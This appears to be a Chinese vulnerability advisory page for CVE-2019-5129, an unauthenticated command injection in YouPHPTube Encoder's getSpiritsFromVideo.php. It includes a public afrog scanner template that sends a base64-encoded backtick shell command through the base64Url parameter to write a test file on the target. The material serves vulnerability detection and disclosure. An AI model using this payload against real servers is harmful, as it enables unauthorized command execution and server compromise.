CVE-2019-5129: YouPHPTube Encoder getSpiritsFromVideo.php base64Url命令注入漏洞

日期: 2025-09-01 | 影响软件: YouPHPTube Encoder | POC: 已公开

漏洞描述

YouPHPTube Encoder 2.3 中存在可利用的未经身份验证的命令注入，这是一个用于在 YouPHPTube 中提供编码器功能的插件。巧尽心思构建的 Web 请求可能导致在服务器上执行命令。攻击者可以发送带有包含特定参数的参数的 Web 请求来触发这些漏洞，从而可能允许泄露数据库或用户凭据，甚至危及底层操作系统。

PoC代码[已公开]

id: CVE-2019-5129

info:
  name: YouPHPTube Encoder getSpiritsFromVideo.php base64Url命令注入漏洞
  author: 0x_zmz
  severity: critical
  description: YouPHPTube Encoder 2.3 中存在可利用的未经身份验证的命令注入，这是一个用于在 YouPHPTube 中提供编码器功能的插件。巧尽心思构建的 Web 请求可能导致在服务器上执行命令。攻击者可以发送带有包含特定参数的参数的 Web 请求来触发这些漏洞，从而可能允许泄露数据库或用户凭据，甚至危及底层操作系统。
  reference:
    - https://xz.aliyun.com/t/6708
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917

set:
    fileName: randomLowercase(4) + ".txt"
    content: randomLowercase(8)
    payload: urlencode(base64("`echo " + content + " > " + fileName + "`"))
rules:
    r0:
        request:
            method: GET
            path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg
            follow_redirects: true
        expression: response.status == 200
    r1:
        request:
            method: GET
            path: /objects/{{fileName}}
            follow_redirects: true
        expression: response.status == 200 && response.body.bcontains(bytes(content))
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2019/CVE-2019-5129.yaml

相关漏洞推荐